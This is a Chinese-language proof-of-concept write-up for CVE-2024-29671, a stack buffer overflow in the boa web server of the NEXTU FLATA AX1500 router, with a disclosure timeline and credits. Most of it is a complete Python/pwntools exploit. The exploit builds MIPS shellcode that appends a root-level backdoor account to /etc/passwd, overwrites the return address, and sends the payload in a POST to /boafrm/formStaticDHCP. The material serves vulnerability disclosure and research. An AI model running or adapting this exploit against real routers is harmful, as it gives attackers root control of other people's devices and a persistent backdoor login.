这是 CVE-2024-29671 的 POC
本文件描述了如何在 NEXTU FLATA AX1500 路由器固件中利用 CVE-2024-29671 漏洞。
该路由器基于 MIPS 架构,采用 Realtek 芯片组,小端序。
目标路由器固件版本为 v1.0.2。
该固件包含一个名为 "boa" 的内嵌 Web 服务器,该服务器最后发布于 2005 年。
然而,该路由器使用 boa Web 服务器提供管理 Web 页面服务,用于控制路由器固件。
"boa" 二进制程序的安全状态如下所示。
图 1. boa Web 服务器二进制程序 checksec 结果
栈溢出的原因在于,在 boa Web 服务器处理表单请求的 0x00411c00 地址处的 formStaticDHCP 函数中,使用 strcpy() 复制 hostname 参数内容时,未进行长度值检查。
图 2. 栈溢出发生位置
图 3. 栈溢出发生前的栈内存视图
(白色线条为 RET 地址区域)

图 4. 栈溢出发生后的栈内存视图
如您所见,在栈地址 0x7ffef7dc(存储了处理器 RET 地址)处,数据被 0x42('B')溢出。
如果攻击者将远程执行代码插入到 /boafrm/formStaticDHCP POST 请求的 'hostname' 参数值中,并在 RET 区域添加覆盖地址,则任意代码将以 root 权限执行。
from pwn import *
from hackebds import *
# id: rOOt
# passwd: pwn3d
def add_user_credential_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["sh", "-c", "echo \"rOOt:XJ1GV.nyFFMoI:0:0:root:/:/bin/sh\" >> /etc/passwd"]
asmcode = shellcraft.mips.linux.execve(cmd, args) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
shellcode = add_user_credential_shell_code()
print(shellcode)
gap_code = (b'A') * 1282
# insert RET Address by your own
# In this case, the address value is in the video below that execute RCE.
RET_address = (b'\xe0\x4e\xb9\x7f')
stack_gap = (b'B') * 0x180
final_code = gap_code + RET_address + stack_gap + shellcode
import socket
import ssl
# Boa Webserver Connect Address
HOST = '192.168.1.254'
PORT = 443
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Make Request Body
send_byte = b"ip_addr=AAA&mac_addr=AAA&static_dhcp=%00%00&addRsvIPFlag=%00%00&addRsvIP=%00%00&deleteSelRsvIP=%00%00&modifyRsvIP=AAA&hostname=" + final_code
# POST Request Header
headers = b"POST /boafrm/formStaticDHCP HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
ssock.send(headers + send_byte)
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
print(response.decode('utf-8'))
https://github.com/user-attachments/assets/41c7cd6f-3e9d-4bb8-ab04-973e8b074bed
该漏洞必然导致 RCE 和 DOS 问题。
2024-03-17:申请 CVE 编号
2024-03-22:分配 CVE 编号 - CVE-2024-29671
2024-03~2024-05:向厂商提交报告
Ku In Hoe
助理教授 Seonghoon Jeong(淑明女子大学)